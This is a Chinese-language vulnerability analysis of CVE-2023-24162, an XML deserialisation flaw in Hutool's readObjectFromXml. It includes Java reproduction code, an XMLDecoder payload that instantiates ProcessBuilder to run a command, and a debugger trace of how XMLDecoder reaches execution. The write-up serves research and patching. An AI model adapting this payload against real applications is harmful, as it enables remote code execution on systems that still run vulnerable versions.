hutool XML反序列化漏洞(CVE-2023-24162)
漏洞简介
Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据，当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。
漏洞复现
我们在 maven 仓库中查找 Hutool
https://mvnrepository.com/search?q=Hutool
把依赖复制出来，添加到项目的 pom.xml 文件中
<!-- https://mvnrepository.com/artifact/cn.hutool/hutool-all -->
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.11</version>
</dependency>添加完成后刷新一下 maven 依赖
我们编写代码
import cn.hutool.core.util.XmlUtil;
public class Test {
public static void main(String[] args) {
XmlUtil.readObjectFromXml("<java>n" +
" <object class="java.lang.ProcessBuilder">n" +
" <array class="java.lang.String" length="1">n" +
" <void index="0">n" +
" <string>calc</string>n" +
" </void>n" +
" </array>n" +
" <void method="start"></void>n" +
" </object>n" +
"</java>n");
}
}
在项目目录下创建一个 bean.xml 文件，将 xml 放在文件中，构造代码也可以触发
import cn.hutool.core.util.XmlUtil;
import java.io.File;
public class Test {
public static void main(String[] args) {
File file = new File("bean.xml");
XmlUtil.readObjectFromXml(file);
}
}
漏洞分析
整个漏洞分析下来相对来时是比较简单的，但是深入搞清楚 XML 反序列化的原理需要花费不小的功夫
cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)
当然这个地方也是可以通过读取文件来实现的
cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)
cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)
java.beans.XMLDecoder#readObject
漏洞本质上是 java 原生方法中的漏洞，XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml 方法 就可以避免这个漏洞的产生。
漏洞修复
在最新版的 hutool-all 没有用黑名单，而是直接移除了 readObjectFromXml 方法，简单粗暴。
XMLDecoder.readObject
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"></void>
</object>
</java>
object 标签，class 的值对应着实例化的全类名（java.lang.ProcessBuilder）
array 标签，class 的值对应着实例化的全类名对象构造的参数（ProcessBuilder 对象的构造参数）
void 标签，method 的值对应着 method 的参数 （start）
最后相当于执行了
new java.lang.ProcessBuilder(new String[]{"calc"}).start();
为了方便看到整个调用联的流程，我们在触发漏洞的位置加上断点，分析其中经过了那些处理
java.lang.ProcessBuilder#start
start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
invokeInternal:292, Statement (java.beans)
access$000:58, Statement (java.beans)
run:185, Statement$2 (java.beans)
doPrivileged:-1, AccessController (java.security)
invoke:182, Statement (java.beans)
getValue:155, Expression (java.beans)
getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:318, DocumentHandler (com.sun.beans.decoder)
endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:74, ProtectionDomain$JavaSecurityAccessImpl (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
main:20, xmldecode (xml)
比较关键的处理逻辑是在 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument开始对 xml 进行解析
先简单描述一下我的理解，然后再截图与之相对应，可能部分理解并不完全正确
根据 xml 文件的中的标识来识别开始还是结束 < 对应着开始，</ 对应着结束
解析时会调用相对应的 Handler 进行处理，Handler 在 DocumentHandler.class 中被定义，通过节点名获取对应的handler
解析到结束标识时会调用到相对应的 Handler 中的 getValueObject 方法 最后实现命令执行（这里描述比较简单，后面根据代码在详细描述）
com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument
这里是一个 do while 的循环 直到匹配到结束标识 XMLStreamConstants.END_DOCUMENT
com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next
com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.XMLDeclDriver#next
com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next
com.sun.beans.decoder.DocumentHandler#DocumentHandler
对应的 Handler 是根据节点返回的，最主要的漏洞触发位置应该是endElement 中
com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement
com.sun.beans.decoder.DocumentHandler#endElement
调用 StringElementHandler 对应的 endElement 方法 ，StringElementHandler 没有这个方法，调用其父类 ElementHandler 中 endElement
com.sun.beans.decoder.ElementHandler#endElement
com.sun.beans.decoder.StringElementHandler#getValueObject
最后返回获取到的值是 calc 添加到其父类对应的 Argument 属性
com.sun.beans.decoder.NewElementHandler#addArgument
接着将 handler 指向上一级的 handler VoidElementHandler
调用 VoidElementHandler 对应的 endElement 方法 ，VoidElementHandler 没有这个方法，调用其父类 ObjectElementHandler 的父类NewElementHandler 的父类 ElementHandler 中 endElement
com.sun.beans.decoder.ElementHandler#endElement
com.sun.beans.decoder.NewElementHandler#getValueObject()
com.sun.beans.decoder.ObjectElementHandler#getValueObject
执行完后又有一个 <void method="start"></void>
调试返回的结果
com.sun.beans.decoder.DocumentHandler#endElement
com.sun.beans.decoder.ElementHandler#endElement
com.sun.beans.decoder.NewElementHandler#getValueObject()
com.sun.beans.decoder.ObjectElementHandler#getValueObject
com.sun.beans.decoder.NewElementHandler#getContextBean
com.sun.beans.decoder.ElementHandler#getContextBean
com.sun.beans.decoder.NewElementHandler#getValueObject()
com.sun.beans.decoder.ObjectElementHandler#getValueObject
com.sun.beans.decoder.NewElementHandler#getContextBean
com.sun.beans.decoder.ObjectElementHandler#getValueObject
com.sun.beans.decoder.NewElementHandler#getValueObject()
com.sun.beans.decoder.ElementHandler#getContextBean
com.sun.beans.decoder.NewElementHandler#getContextBean
继续执行，最终触发命令执行
com.sun.beans.decoder.ObjectElementHandler#getValueObject
后一部分很像套娃
整个过程冗长繁琐，建议自己调试分析一下，可能了解的更加清楚。